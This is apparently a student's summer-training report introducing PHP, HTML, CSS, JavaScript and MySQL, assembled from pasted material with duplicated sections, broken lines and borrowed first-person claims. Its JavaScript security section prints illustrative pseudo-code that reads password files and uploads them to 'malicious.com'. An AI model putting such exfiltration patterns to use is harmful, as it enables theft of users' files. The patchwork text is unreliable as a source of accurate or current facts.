ALIGARH

REPORT
ON
SUMMER TRAINING

For the partial fulfillment of

BACHELOR OF COMPUTER APPLICATION(BCA)
Submitted By
BHAVNA VARSHNEY

Under the guidance of

MR. ASHISH PRAKASH
Dr. Bhimrao Ambedkar University, Agra

External Examiner Internal Examiner

CONTENTS

 INTRODUCTION
 OBJECTIVE
 TECHNOLOGY
 TRAINING WORK
 CONCLUSION
 FUTURE SCOPE
 BIBLIOGRAPH,REFRENCES
 Acknowledgement

First of all I would like to offer our heartiest gratitude to BHAVNA VARSHNEY for all the
help and encouragement that they rendered to me during the course of this project. Indeed, it
was your support & effort that lead us through the cloudy skies & muddy waters towards the
successful completion of this project.

Also, a special thanks to my internal guide MR. ASHISH PRAKASH Indore for this support
and valuable time.

I would like to thank my friends and my team members for being a constant source of
encouragement in all my endeavours. Indeed it was your support that saw us through the
many ups and down of life.

Thank You !!
 INTRODUCTION
Summer training is useful to learn new technology and practice over that
technology I gonna tell you about my experience while I was attending summer training it’s
useful to get training in a technology like php, asp, java, android etc…

Summer training is helpful to get more practical knowledge in a particular technology. I

attend training on php which is used to design web pages
PHP is a powerful tool for making dynamic and interactive Web pages.
PHP is the widely-used, free, and efficient alternative to competitors such as Microsoft's ASP.

Summer Training refers to work experience done during the program of study that is relevant
to professional development prior to graduation.
 OBJECTIVES
The main objective of Industrial Training is to expose the students to actual working
environment and enhance their knowledge and skill from what they have learned in the
college. Another purpose of this program is to instill the good qualities of integrity,
responsibility and self confidence. All ethical values and good working practices must be
followed by student. It is also to help the students about the safety practices and regulations
inside the industry and to instill the spirit of teamwork and good relationship between
students and employees. Employers are increasingly looking beyond a graduate's academic
knowledge and whether they have what is commonly known as employability skills.
According to a survey of skills needed by SME employers (Beta Technology, 1994), 58
percent of respondents viewed qualifications and experience as equally important when
recruiting, with further 39 percent commenting that experience only was more important. As
such a UK government has established a National The fundamental objective of Industrial
Training is to prepare students for future employment in their chosen engineering discipline.
Industrial Training enhances the academic material studied at University by allowing
students to practice what they have learned and to develop key professional attributes.
Industrial training should provide an opportunity for students to:
1. Experience the discipline of working in a professional engineering organisation
2. Develop understanding of the functioning and organisation of a business
3. Interact with other professional and non-professional groups
4. Apply engineering methods such as design and problem solving
5. Develop technical, interpersonal and communication skills, both oral and written
Industrial training also gives employers an opportunity to assess future employees. A
demonstrated commitment and ability to take responsibility, make sound decisions, and apply
technical skills will be highly regarded.
Industrial training gives students an opportunity to evaluate future employers as well as
enabling informed decisions about the discipline and career paths to follow.
Students may be employed in any capacity associated with the development, design and/or
manufacture of
products including: production, quality control, chemical analysis, plant maintenance, design
office duties or
research in materials processing, materials engineering and materials characterisation. It is
desirable that the student be assigned to some member of the technical staff in the plant who
will give general guidance on the work to be undertaken. Whilst difficult, it is desirable to
obtain experience in a range of activities including design, analysis, experimentation,
production, and other on-site activities. It is important that students make the most of their
Industrial Training by soliciting varied and challenging projects from the employer. Research
and development is valid training for an engineer and such work is done in companies,
research organisations (such as CSIRO and ANSTO) and universities. Projects associated
with the Taste of Research Summer Scholarships in the Faculties of Science and Engineering
may be acceptable as Industrial Training. Work done within the School, such as vacation
research work, is considered to not satisfy the spirit and requirements of industrial training
and so is not eligible to count towards the 60 days Industrial Training.
 TECHNOLOGY

PHP
PHP: Hypertext Preprocessor, is a widely used, general-purpose scripting language that was
originally designed for web development, to produce dynamic web pages. It can be embedded
into HTML and generally runs on a web server, which needs to be configured to process PHP
code and create web page content from it. It can be deployed on most web servers and on
almost every operating system and platform free of charge.
PHP was originally created by Rasmus Lerdorf in 1995 and has been in continuous
development ever since. The main implementation of PHP is now produced by The PHP
Group and serves as the de facto standard for PHP as there is no formal specification.PHP is
free software released under the PHP License, which is incompatible with the GNU General
Public License (GPL) because of restrictions on the use of the term PHP
PHP has evolved to include a command line interface capability and can also be used in
standalonegraphical applications.
USAGE
PHP is a general-purpose scripting language that is especially suited for web development.
PHP generally runs on a web server. Any PHP code in a requested file is executed by the PHP
runtime, usually to create dynamic web page content. It can also be used for command-line
scripting and client-sideGUI applications. PHP can be deployed on most web servers, many
operating systems and platforms, and can be used with many relational database management
systems. It is available free of charge, and the PHP Group provides the complete source code
for users to build, customize and extend for their own use.
PHP primarily acts as a filter, taking input from a file or stream containing text and/or PHP
instructions and outputs another stream of data; most commonly the output will be HTML.
Since PHP 4, the PHP parsercompiles input to produce byte code for processing by the Zend
Engine, giving improved performance over its interpreter predecessor
Originally designed to create dynamic web pages, PHP now focuses mainly on server-side
scripting, and it is similar to other server-side scripting languages that provide dynamic
content from a web server to a client, such as Microsoft's Active Server Pages, Sun
Microsystems' JavaServer Pages and mod_perl. PHP has also attracted the development of
many frameworks that provide building blocks and a design structure to promote rapid
application development (RAD). Some of these include CakePHP, Symfony, CodeIgniter,
and Zend Framework, offering features similar to other web application frameworks.
History of PHP
PHP as it's known today is actually the successor to a product named PHP/FI. Created in 1994
by Rasmus Lerdorf, the very first incarnation of PHP was a simple set of Common Gateway
Interface (CGI) binaries written in the C programming language. Originally used for tracking
visits to his online resume, he named the suite of scripts "Personal Home Page Tools," more
frequently referenced as "PHP Tools." Over time, more functionality was desired, and
Rasmus rewrote PHP Tools, producing a much larger and richer implementation. This new
model was capable of database interaction and more, providing a framework upon which
users could develop simple dynamic web applications such as guestbooks. In June of 1995,
Rasmus » released the source code for PHP Tools to the public, which allowed developers to
use it as they saw fit. This also permitted - and encouraged - users to provide fixes for bugs in
the code, and to generally improve upon it.

In September of that year, Rasmus expanded upon PHP and - for a short time - actually
dropped the PHP name. Now referring to the tools as FI (short for "Forms Interpreter"), the
new implementation included some of the basic functionality of PHP as we know it today. It
had Perl-like variables, automatic interpretation of form variables, and HTML embedded
syntax. The syntax itself was similar to that of Perl, albeit much more limited, simple, and
somewhat inconsistent. In fact, to embed the code into an HTML file, developers had to use
HTML comments. Though this method was not entirely well-received, FI continued to enjoy
growth and acceptance as a CGI tool --- but still not quite as a language. However, this began
to change the following month; in October, 1995, Rasmus released a complete rewrite of the
code. Bringing back the PHP name, it was now (briefly) named "Personal Home Page
Construction Kit," and was the first release to boast what was, at the time, considered an
advanced scripting interface. The language was deliberately designed to resemble C in
structure, making it an easy adoption for developers familiar with C, Perl, and similar
languages. Having been thus far limited to UNIX and POSIX-compliant systems, the
potential for a Windows NT implementation was being explored.
PHP 3

PHP 3.0 was the first version that closely resembles PHP as it exists today. Finding PHP/FI
2.0 still inefficient and lacking features they needed to power an eCommerce application they
were developing for a university project, Andi Gutmans and Zeev Suraski of Tel Aviv, Israel,
began yet another complete rewrite of the underlying parser in 1997. Approaching Rasmus
online, they discussed various aspects of the current implementation and their redevelopment
of PHP. In an effort to improve the engine and start building upon PHP/FI's existing user
base, Andi, Rasmus, and Zeev decided to collaborate in the development of a new,
independent programming language. This entirely new language was released under a new
name, that removed the implication of limited personal use that the PHP/FI 2.0 name held. It
was renamed simply 'PHP', with the meaning becoming a recursive acronym - PHP:
Hypertext Preprocessor.

PHP 4

By the winter of 1998, shortly after PHP 3.0 was officially released, Andi Gutmans and Zeev
Suraski had begun working on a rewrite of PHP's core. The design goals were to improve
performance of complex applications, and improve the modularity of PHP's code base. Such
applications were made possible by PHP 3.0's new features and support for a wide variety of
third party databases and APIs, but PHP 3.0 was not designed to handle such complex
applications efficiently.
The new engine, dubbed 'Zend Engine' (comprised of their first names, Zeev and Andi), met
these design goals successfully, and was first introduced in mid 1999. PHP 4.0, based on this
engine, and coupled with a wide range of additional new features, was officially released in
May 2000, almost two years after its predecessor. In addition to the highly improved
performance of this version, PHP 4.0 included other key features such as support for many
more web servers, HTTP sessions, output buffering, more secure ways of handling user input
and several new language constructs.
PHP 5

PHP 5 was released in July 2004 after long development and several pre-releases. It is mainly
driven by its core, the Zend Engine 2.0 with a new object model and dozens of other new
features.
PHP's development team includes dozens of developers, as well as dozens others working on
PHP-related and supporting projects, such as PEAR, PECL, and documentation, and an
underlying network infrastructure of well over one-hundred individual web servers on six of
the seven continents of the world. Though only an estimate based upon statistics from
previous years, it is safe to presume PHP is now installed on tens or even perhaps hundreds of
millions of domains around the world.
 HARDWARE AND SOFTWARE REQUIREMENT

Hardware Requirements

Number Description
1 Pentium 4 ,Window XP/Window7
2 256 MB RAM

Software Requirements

Number Description
1 Windows XP ,7
2 Php 5.1
3 MySql
4 IIS server/ XAMPP
5 HTML/CSS/Ajax/JavaScript
 Introduction to HTML

HTML
HTML(HyperText Mark-Up Language) is what is known as a "mark-up language" whose role is to
prepare written documents using formatting tags. The tags indicate how the document is presented
and how it links to other documents.
HTML is also used for reading documents on the Internet from different computers, thanks to
the HTTP protocol, which allows users to remotely access documents stored at a specific address on
the network, called a URL.
The World Wide Web (WWW for short), or simply the Web, is the worldwide network formed by
all the documents (called "web pages") which are connected to one another by hyperlinks.
Web pages are usually organised around a main page, which acts as a hub for browsing other pages
with hyperlinks. This group of web pages joined by hyperlinks and centred around a main page is
called awebsite.
The Web is a vast living archive composed of a myriad of web sites, giving people access to web
pages that may contain formatted text, images, sounds, video, etc.

What is the Web?

The Web is composed of web pages stored on web servers, which are machines that are constantly
connected to the Internet and which provide the pages that users request. Every web page, and more
generally any online resource, such as images, video, music, and animation, is associated with a
unique address called a URL.
The key element for viewing web pages is the browser, a software program which sends requests to
web servers, then processes the resulting data and displays the information as intended, based on
instructions in the HTML page.
The most commonly used broswers on the Internet include:

Mozilla Firefox,
Microsoft Internet Explorer,
Netscape Navigator,
 Safari.

HTML is a standard
It is important to understand that HTML is a standard, composed of recommendations published by
an international consortium: the World Wide Web Consortium (W3C).
The official specifications of HTML describe the language's "instructions" but not how to follow
them (the way they are translated by computer programs), so that web pages can be viewed
regardless of what the user's operating system or computer architecture may be.
Nevertheless, as detailed as these specifications are, there is still some room for interpretation on the
browsers' part, which explains why the same page might be displayed differently from one web
browser to another.

What's more, some software publishers add proprietary HTML instructions, which are not found in
the W3C's specifications. For this reason, web pages containing such instructions may be displayed
just fine in one browser, yet be completely or partially unreadable in others. This is why web pages
should follow the W3C's recommendations so that as many people as possible can view them.

Versions of HTML

HTML was designed by Tim Berners-Lee, at the time a researcher at CERN, beginning in 1989. He
officially announced the creation of the Web on Usenet in August 1991. However, it wasn't until
1993 that HTML was considered advanced enough to call it a language (HTML was then
symbolically christenedHTML 1.0). The web browser used back then was named NCSA Mosaic.
RFC 1866, dated November 1995, represented the first official version of HTML, called HTML 2.0.
After the brief appearance of HTML 3.0, which was never officially released, HTML 3.2 became the
official standard on January 14, 1997. The most significant changes to HTML 3.2 were the
standardisation of tables, as well as many features relating to the presentation of web pages.

On December 18, 1997, HTML 4.0 was released. Version 4.0 of HTML was notable for
standardising style sheets and frames. HTML version 4.01, which came out on December 24, 1999,
made several minor modifications to HTML 4.0.
HTML, which stands for Hyper Text Markup Language, is the predominant markup language
for web pages. It provides a means to create structured documents by denoting structural
semantics for text such as headings, paragraphs, lists etc as well as for links, quotes, and other
items. It allows images and objects to be embedded and can be used to create interactive forms.
It is written in the form of HTML elements consisting of "tags" surrounded by angle brackets
within the web page content. It can include or can load scripts in languages such as JavaScript
which affect the behavior of HTML processors like Web browsers; and Cascading Style Sheets
(CSS) to define the appearance and layout of text and other material. The W3C, maintainer of
both HTML and CSS standards, encourages the use of CSS over explicit presentational markup.
Hyper Text Markup Language(HTML) is the encoding scheme used to create and format a web
document. A user need not be an expert programmer to make use of HTML for creating
hypertext documents that can be put on the internet.
Most graphical e-mail clients allow the use of a subset of HTML (often ill-defined) to provide
formatting and semantic markup not available with plain text. This may include typographic
information like coloured headings, emphasized and quoted text, inline images and diagrams.
Many such clients include both a GUI editor for composing HTML e-mail messages and a
rendering engine for displaying them. Use of HTML in e-mail is controversial because of
compatibility issues, because it can help disguise phishing attacks, because it can confuse spam
filters and because the message size is larger than plain text.

NAMING CONVENTIONS
The most common filename extension for files containing HTML is .html. A common
abbreviation of this is .htm, which originated because some early operating systems and file
systems, such as DOS and FAT, limited file extensions to three letters.

HTML APPLICATION
An HTML Application is a Microsoft Windows application that uses HTML and Dynamic
HTML in a browser to provide the application's graphical interface. A regular HTML file is
confined to the security model of the web browser, communicating only to web servers and
manipulating only webpage objects and site cookies. An HTA runs as a fully trusted application
and therefore has more privileges, like creation/editing/removal of files and Windows Registry
entries. Because they operate outside the browser's security model, HTAs cannot be executed via
HTTP, but must be downloaded (just like an EXE file) and executed from local file system
 INTRODUCTION TO CSS

A CSS (cascading style sheet) file allows you to separate your web sites (X)HTML content from it’s
style. As always you use your (X)HTML file to arrange the content, but all of the presentation (fonts,
colors, background, borders, text formatting, link effects & so on…) are accomplished within a CSS.

At this point you have some choices of how to use the CSS, either internally or externally.

Internal Stylesheet
First we will explore the internal method. This way you are simply placing the CSS code within the
<head></head> tags of each (X)HTML file you want to style with the CSS. The format for this is
shown in the example below.

<head>
<title><title>
<style type=”text/css”>
CSS Content Goes Here
</style>
</head>
<body>

With this method each (X)HTML file contains the CSS code needed to style the page. Meaning that
any changes you want to make to one page, will have to be made to all. This method can be good if
you need to style only one page, or if you want different pages to have varying styles.

External Stylesheet
Next we will explore the external method. An external CSS file can be created with any text or
HTML editor such as “Notepad” or “Dreamweaver”. A CSS file contains no (X)HTML, only CSS.
You simply save it with the .css file extension. You can link to the file externally by placing one of
the following links in the head section of every (X)HTML file you want to style with the CSS file.

<link rel=”stylesheet” type=”text/css” href=“Path To stylesheet.css” />

<style type=”text/css”>@import url(Path To stylesheet.css)</style>

Either of these methods are achieved by placing one or the other in the head section as shown in
example below

<head>
<title><title>
<link rel=”stylesheet” type=”text/css”href=”style.css” />
</head>
<body>

or

<head>
<title><title>
<style type=”text/css”> url(Path To stylesheet.css)</style
@import >
</head>
<body>
By using an external style sheet, all of your (X)HTML files link to one CSS file in order to style the
pages. This means, that if you need to alter the design of all your pages, you only need to edit one
.css file to make global changes to your entire website.

Here are a few reasons this is better.

 Easier Maintenance
 Reduced File Size
 Reduced Bandwidth
 Improved Flexibility
Are you getting the idea? It’s really cool.
Cascading Order
In the previous paragraphs, I have explained how to link to a css file either internally or externally. If
you understood, than I am doing a good job. If not don’t fret, there is a long way to go before we are
finished. Assuming you have caught on already, you are probably asking, well can I do both? The
answer is yes. You can have both internal, external, and now wait a minute a third way? Yes inline
styles also.

Inline Styles
I have not mentioned them until now because in a way they defeat the purpose of using CSS in the
first place. Inline styles are defined right in the (X)HTML file along side the element you want to
style. See example below.

<p style=”color: #ff0000;”>Some red

text</p> Some red text

Inline styles will NOT allow the user to change styles of elements or text formatted this way

So, which is better?

So with all these various ways of inserting CSS into your (X)HTML files, you may now be asking
well which is better, and if I use more than one method, in what order do these different ways load
into my browser?

All the various methods will cascade into a new “pseudo” stylesheet in the following order:

1. Inline Style (inside (X)HTML element)

2. Internal Style Sheet (inside the <head> tag)
3. External Style Sheet
As far as which way is better, it depends on what you want to do. If you have only one file to style
then placing it within the <head></head> tags (internal) will work fine. Though if you are
planning on styling multiple files then the external file method is the way to go.

Choosing between the <link related=> & the @import methods are completely up to you. I will
mention that the @import method may take a second longer to read the CSS file in Internet
Explorer than the <link related=> option. To combat this see Flash of unstyled content
Users with Disabilities
The use of external style sheets also can benefit users that suffer from disabilities. For instance, a
user can turn off your stylesheet or substitute one of there own to increase text size, change colors
and so on. For more information on making your website accessible to all users please read Dive
into accessibility
Introducing CSS
 CSS works by allowing you to associate rules with the elements that appear in a web
page. These rules
 govern how the content of those elements should be rendered. Figure 7 - 1 shows you an
example of a
 CSS rule, which is made up of two parts:
 The selector , which indicates which element or elements the declaration applies to (if it
applies to
 more than one element, you can have a comma - separated list of several elements)
 The declaration , which sets out how the elements referred to in the selector should be
styled
 td
 Declaration
 Property
 Selector
 Value
 {width:36px;}
 The rule in Figure 7 - 1 applies to all < td > elements and indicates that they should be 36
pixels wide.
 The declaration is also split into two parts, separated by a colon:
 A property , which is the property of the selected element(s) that you want to affect, in
this case
 the width property.
 A value , which is a specification for this property; in this case it is that the table cells
should be 36
 pixels wide.
 This is very similar to the way that HTML/XHTML elements can carry attributes and
how the attribute
  controls a property of the element; the attributes ’ value would be the setting for that
property. For
 example, a < td > element could have a width attribute whose value is the width you
want the table to
 be:
 < td width=”36” > < /td >
 With CSS, however, rather than your having to specify the attribute on each instance of
the < td >
 element, the selector indicates that this one rule applies to all < td > elements in the
document.

Introducing CSS
CSS works by allowing you to associate rules with the elements that appear in a web page.
These rules
govern how the content of those elements should be rendered. Figure 7 - 1 shows you an
example of a
CSS rule, which is made up of two parts:
The selector , which indicates which element or elements the declaration applies to (if it applies
to
more than one element, you can have a comma - separated list of several elements)
The declaration , which sets out how the elements referred to in the selector should be styled

td
Declaration
Property
Selector
Value
{width:36px;}
The rule in Figure 7 - 1 applies to all < td > elements and indicates that they should be 36
pixels wide.
The declaration is also split into two parts, separated by a colon:
A property , which is the property of the selected element(s) that you want to affect, in this case
the width property.
A value , which is a specification for this property; in this case it is that the table cells should be
36
pixels wide.
This is very similar to the way that HTML/XHTML elements can carry attributes and how the
attribute
controls a property of the element; the attributes ’ value would be the setting for that property.
For
example, a < td > element could have a width attribute whose value is the width you want the
table to
be:
< td width=”36” > < /td >
With CSS, however, rather than your having to specify the attribute on each instance of the < td
>
element, the selector indicates that this one rule applies to all < td > elements in the document.

Here is an example of a CSS rule that applies to several different elements (in this example, the
< h1 > ,
< h2 > , and < h3 > elements). A comma separates the name of each element that this rule will
apply to. The
rule also specifies several properties for these elements with each property - value pair
separated by a
semicolon. Note how all the properties are kept inside the curly braces:
h1, h2, h3 {
font-weight:bold;
font-family:arial;
color:#000000;
background-color:#FFFFFF;}
Even if you have never seen a CSS rule before, you should now have a good idea of what this
rule is
doing. There are three heading elements named in the selector ( < h1 > , < h2 > , and < h3 > ),
and this rule says
that where these headings are used they will be written in a bold Arial font in black with a
white
background.
If there is only one property - value pair in the declaration, you do not need to end it with a
semicolon.
However, because a declaration can consist of several property - value pairs, and each property
- value pair
within a rule must be separated by a semicolon, it is good practice to start adding semicolons
every time
you write a rule in case you want to add another rule later. If you forget to add the semicolon,
any further
property - value pairs will be ignored.
A Basic Example
Let ’ s have a look at an example that shows how a set of CSS rules can transform the look of
an XHTML
page. CSS rules can live inside the XHTML document, although for this example we will be
making a
separate file to hold the CSS rules, and the XHTML page will contain a link to this file, which
is known
as a style sheet .
Before we meet the CSS style sheet, take a look at Figure 7 - 2, which shows the XHTML page
we will be
styling on its own before the CSS rules have been attached.
 INTRODUCTION TO JAVA SCRIPT

JavaScript is most commonly used as a client side scripting language. This means that JavaScript
code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the
script is sent to the browser and it's up to the browser to do something with it.

The fact that the script is in the HTML page means that your scripts can be seen and copied by
whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the
flip side is that you can view, study and use any JavaScript you encounter on the WWW.

JavaScript can be used in other contexts than a Web browser. Netscape created server-side
JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why
JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals
with the use of JavaScript in web browsers.

If you don’t have any programming experience at all it’s best to start with some gentle JavaScript
examples that teach you the basics. It might be a good idea to buy Negrino & Smith, “JavaScript for
the World Wide Web”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and
though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course
this site also offers plenty of help.

I can also recommend Jeremy Keith, DOM Scripting: Web Design with JavaScript and the
Document Object Model, 1st edition, Friends of Ed, 2005. This, too, is a book that doesn't delve too
deeply into technology, but gives non-programmers such as graphic designers/CSS wizards an
excellent overview of the most common uses of JavaScript - as well as the most common problems.
JavaScript vs. Java

JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.

Although the names are much alike, JavaScript is primarily a scripting language for use within
HTML pages, while Java is a real programming language that does quite different things from
JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much
anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting
language (even though there's no fundamental reason why it can't be used in a server side
environment).

Originally the language was called Live Script, but when it was about to be released Java had
become immensely popular (and slightly hypey). At the last possible moment Netscape changed the
name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse,
Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a
"dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have
gone in quite different directions. You can see them as distantly related cousins. Both are object
oriented (though this is less important in JavaScript than in many other languages) and they share
some syntax, but the differences are more important than the similarities.

If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I
don’t have any previous programming experience, the differences are not described on this site. The
best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly,
2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–
edited a few chapters of this book.
The JavaScript language

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it
uses the browser to do the dirty work. If you command an image to be replaced by another
one,JavaScript tells the browser to go do it. Because the browser actually does the work, you only
need to pull some strings by writing some relatively easy lines of code. That’s what makes
JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all,
despite its simple appearance it is a full fledged programming language: it is possible to write quite
complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is
possible. This means that there are some complex programming structures that you’ll only
understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all
support JavaScript, there is no sacred law that says they should support exactly the same JavaScript.
A large part of this site is devoted to exploring and explaining these browser differences and finding
ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences
(and occasionally syntactic problems) will creep up.

Security

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with
HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML
page is delivered to the browser, including the scripts. The scripts usually run automatically when the
page loads or when the user takes a certain action. In general the user can’t do anything to stop the
scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be
done, or that JavaScript exists).
So basically an innocent end user downloads a random program and allows it to be executed on his
machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This
would be a clear security hazard

2. filesystem.read('/my/password/file');
3. filesystem.write('horridvirus.exe');

4. JavaScript cannot execute any other programs. This would also be unacceptable

5. execute('horridvirus.exe')

6. JavaScript cannot establish any connection to whatever computer, except to download a new
HTML page or to send mail. This, too, would create unacceptable hazards:

7. var security_hazard = connection.open('malicious.com');

8. security_hazard.upload(filesystem.read('/my/password/file'));
9. security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add
some filesystem commands nonetheless, in combination with its ActiveX technology. This means
that Explorer on Windows is structurally less safe than any other browser. It has some built–in
protection, but hackers regularly find weaknesses. The firstJavaScript virus I heard of works in such
a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot
influence anything that's not contained by the browser. But even within the browser there are some
no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some
actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a
script tha finds ou wher you surfe to recently
t t e d .
You can go back or forward in the browsing history, but you cannot find out which page you’ll go
to.
2. You cannot do anything in pages that come from another server. So if your frameset contains
two pages from two servers, they cannot communicate with each other. Thus a malicious site owner
cannot find out which sites you’ve opened in other browser windows. See the frame busting page for
some more information.
3. You cannot set the value of a file upload field (<input type="file">).

4. document.forms[0].upload_field.value = '/my/password/file';
5. document.forms[0].submit();

6. If you try to close a browser window that has not been opened by JavaScript, the user is
asked to confirm this action.
However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
7. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this
action.
8. You should not be able to open a new window smaller than 100x100 pixels and/or to position
it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible
window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety
regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers,
paragraphs and such, and for influencing a few non–HTML objects like the browser window.
Nothing more, but (most importantly) nothing less.
 Browser incompatibilities

When a user receives a page which includes JavaScript, the JavaScript interpreter of his browser
kicks in and tries to execute the script. Now the main problem here is that the various browsers each
use their own interpreter, and that sometimes browser vendors have chosen not to implement a bit of
JavaScript. Their reasons were usually related to business advantage over the competitors.

Hence the feared browser incompatibilities.

In addition each new browser version understands more JavaScript and allows more and more parts
of the HTML page to be changed by scripts. This leads to even more incompatibilities.

It’s best to solve compatibility problems on a case–by–case basis. In fact, most pages on this site
have been written precisely because of browser incompatibilities. So read on to understand more.
But I warn you: you need to digest quite a lot of information. Therefore it’s best to solve the problem
at hand and leave the rest of the information alone until you need it.

JavaScript versions

There have been several formal versions of JavaScript.

 1.0: Netscape 2
 1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its
version)
 1.2: Early Version 4 browsers
 1.3: Later Version 4 browsers and Version 5 browsers
 1.4: Not used in browsers, only on Netscape servers
 1.5: Current version.
 2.0: Currently under development by Brendan Eich and others.

JavaScript is an object-orientedscripting language used to enable programmatic access to

objects within both the client application and other applications. It is primarily used in the form
of client-side JavaScript, implemented as an integrated component of the web browser, allowing
the development of enhanced user interfaces and dynamic websites. JavaScript is a dialect of the
ECMAScript standard and is characterized as a dynamic, weakly typed, prototype-based language
with first-class functions. JavaScript was influenced by many languages and was designed to look
like Java, but to be easier for non-programmers to work with.
PROTOTYPE-BASED
JavaScript uses prototypes instead of classes for inheritance. It is possible to simulate many
class-based features with prototypes in JavaScript.
Functions double as object constructors along with their typical role. Prefixing a function call
with new creates a new object and calls that function with its local this keyword bound to that
object for that invocation. The constructor's prototype property determines the object used for the
new object's internal prototype. JavaScript's built-in constructors, such as Array, also have
prototypes that can be modified.
Unlike many object-oriented languages, there is no distinction between a function definition and
a method definition. Rather, the distinction occurs during function calling; a function can be
called as a method. When a function is called as a method of an object, the function's local this
keyword is bound to that object for that invocation.
USAGE
The primary use of JavaScript is to write functions that are embedded in or included from HTML
pages and interact with the Document Object Model (DOM) of the page.
Because JavaScript code can run locally in a user's browser (rather than on a remote server) it can
respond to user actions quickly, making an application feel more responsive. Furthermore,
JavaScript code can detect user actions which HTML alone cannot, such as individual
keystrokes. Applications such as Gmail take advantage of this: much of the user-interface logic is
written in JavaScript, and JavaScript dispatches requests for information (such as the content of
an e-mail message) to the server. The wider trend of Ajax programming similarly exploits this
strength.
A JavaScript engine (also known as JavaScript interpreter or JavaScript implementation) is an
interpreter that interprets JavaScript source code and executes the script accordingly. The first
JavaScript engine was created by Brendan Eich at Netscape Communications Corporation, for the
Netscape Navigatorweb browser. A web browser is by far the most common host environment
for JavaScript. Web browsers typically use the public API to create "host objects" responsible for
reflecting the DOM into JavaScript.
 PHP

PHP is a widely used, general-purpose scripting language that was originally designed for web
development, to produce dynamic web pages. It can be embedded into HTML and generally runs on
a web server, which needs to be configured to process PHP code and create web page content from
it. It can be deployed on most web servers and on almost every operating system and platform free of
charge. PHP is installed on over 20 million websites and 1 million web servers.

PHP was originally created by Rasmus Lerdorf in 1995 and has been in continuous development
ever since. The main implementation of PHP is now produced by The PHP Group and serves as the
de facto standard for PHP as there is no formal specification. PHP is free software released under the
PHP License, which is incompatible with the GNU General Public License (GPL) because of
restrictions on the use of the term PHP.

PHP has evolved to include a command line interface capability and can also be used in standalone
graphical applications.

Usage

PHP is a general-purpose scripting language that is especially suited for web development. PHP
generally runs on a web server. Any PHP code in a requested file is executed by the PHP runtime,
usually to create dynamic web page content. It can also be used for command-line scripting and
client-side GUI applications. PHP can be deployed on most web servers, many operating systems
and platforms, and can be used with many relational database management systems. It is available
free of charge, and the PHP Group provides the complete source code for users to build, customize
and extend for their own use.[2]

PHP primarily acts as a filter, taking input from a file or stream containing text and/or PHP
instructions and outputs another stream of data; most commonly the output will be HTML. Since
PHP 4, the PHP parser compiles input to produce bytecode for processing by the Zend Engine,
giving improved performance over its interpreter predecessor.
Content Management System
(PHP Project)
ABOUT MySQL
 MySQL Introduction
There are a large number of database management systems currently available, some commercial
and some free.
Some of them : Oracle, Microsoft Access, Mysql and PostgreSQL.
These database systems are powerful, feature-rich software, capable of organizing and searching
millions of records at very high speeds.
Understanding Databases, Records, and Primary Keys
Every Database is composed of one or more tables.
These Tables, which structure data into rows and columns, Impose organization on the data.
The records in a table(below) are not arranged in any particular order.
To make it easy to identify a specific record,therefore, it becomes necessary
standing Relationships and Foreign Keys(RDBMS)
You already know that a single database can hold multiple tables.
In a Relational database management system(RDBMS), these tables can be linked to each other
by one or more common fields, called foreign keys.
What is Database administrator(DBA) ?
Database administrator is the super user of database, he has unrestricted rights and privileges to
access database, grant permission to other database users.
What is Database user(DBU) ?
Database user is the person who uses the database in a restricted privileges, provided by database
administrator.
Download MySQL Database
If you have installed PHP’s WAMP or XAMPP server, then mysql database already exists. if you
don’t have then download mysql database from herehttp://www.mysql.com
MySQL ( My S-Q-L, or "My sequel" ) is a relational database management system (RDBMS) which
has more than 6 million installations. MySQL stands for "My Structured Query Language". The
program runs as a server providing multi-user access to a number of databases.

The project's source code is available under terms of the GNU General Public License, as well as
under a variety of proprietary agreements. MySQL is owned and sponsored by a single for-profit
firm, the Swedish company MySQL AB, now a subsidiary of Sun Microsystems, which holds the
copyright to most of the codebase.

MySQL is commonly used by free software projects which require a full-featured database
management system, such as WordPress, phpBB and other software built on the LAMP software
stack. It is also used in very high-scale World Wide Web products including Google and Facebook.

Uses

MySQL is used in web applications and acts as the database component of the LAMP software stack.
Its popularity for use with web applications is closely tied to the popularity of PHP, which is often
combined with MySQL. Several high-traffic web sites (including Flickr, Facebook, Wikipedia,
